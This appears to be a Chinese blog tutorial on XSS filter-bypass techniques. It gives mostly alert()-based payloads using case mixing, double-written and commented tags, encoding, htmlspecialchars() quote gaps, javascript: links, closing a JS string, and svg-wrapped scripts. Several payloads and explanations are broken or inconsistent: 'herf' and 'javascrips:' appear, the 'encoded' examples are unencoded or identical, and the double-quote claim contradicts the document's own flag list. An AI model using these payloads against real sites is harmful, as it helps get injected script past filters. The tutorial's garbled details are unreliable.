简介
目前,基本上所有的网站都会防止XSS攻击,会过滤XSS恶意代码。所以学会一定的绕过技巧必不可少。
详解
大小写混合绕过
代码语言:javascript复制payload:<sCRipT>alert('喝了两瓶')</sCrIPt>
JavaScript
双写绕过
代码语言:javascript复制payload:<sc<script>ript>alert('卡姐姐哦')</scr<script>ipt>
JavaScript
注释绕过
代码语言:javascript复制payload:<sc<!--test-->ript>alert('看见哈桑')</scr<!--tshauie-->ipt>
JavaScript
编码绕过
思路:后台有可能会对代码中的关键字进行过滤,但我们可以尝试将关键字进行编码后在插入。 注意:编码在输出时是否会被正常识别和翻译才是关键,不是所有的编码都是可以的。
一次编码案例
代码语言:javascript复制#使用事件属性onerror()的原始payload:
<img src=# onerror=alert('yangshuang')"/>
#使用HTML_ENTITY编码后的payload:
<a src=x onerror="alert('yangshuang')"/>
JavaScript
多次编码案例解析如下编码
代码语言:javascript复制#原始payload
<a herf="javascrips:alert(XSS)"> </a>
#使用unicode的UTF-16编码alert这个字符
<a herf="javascrips:u0061u006Cu0065u0072u0074(XSS)"> </a>
#再用url编码alert的中间结果
<a herf="javascrips:u0061u006Cu0065u0072u0074(XSS)"> </a>
#最后用html实体编码,再编码整个payload
太长了,略
JavaScript
htmlspecialchars()函数绕过
htmlspecialchars()函数是一种常用的PHP函数,用于将特殊字符转换为HTML实体,以防止跨站脚本攻击(XSS)。
代码语言:javascript复制#该函数的语法:
htmlspecialchars(string,flags,character-set,double_encode)
#可用的quotestyle类型:
ENT_COMPAT - 默认,仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号
#预定义的字符是:
& (和号) 成为 &
" (双引号) 成为 "
’ (单引号) 成为 '
< (小于) 成为 <
> (大于) 成为 >
PHP
过滤原理:htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号
代码语言:javascript复制# 默认配置下,可使用以下语句绕过:
q' onclick='alert(111)'
JavaScript
href伪协议绕过
当输入的值在 a 标签 herf 里
代码语言:javascript复制payload:javascript:alert(1111)
JavaScript
直接代入 a 标签 herf 里面,一样可以绕过 htmlspecialchars()函数
js输出绕过
当目标是用JavaScript脚本输出的,只需闭合原有的表情即可插入代码
代码语言:javascript复制<script> $ms=' 11111111'</script><script>alert(1111)</script> ;
JavaScript
标签绕过
当输入< script >alert(XSS);</ script >
没有反应的时候
可以再前边加上<svg>
,
<svg><script>alert(XSS);</script>
JavaScript
当浏览器解析到<svg>
标签时,浏览器就开始使用一套新的标准开始解析后面的内容,直到碰到闭合标签。而在这一套新的标准遵循XML解析规则,在XML中实体编码会自动转义,重新来一遍标签开启状态,此时就会执行xss了。
结语
记忆,总会传承下去,无论是用何种方式。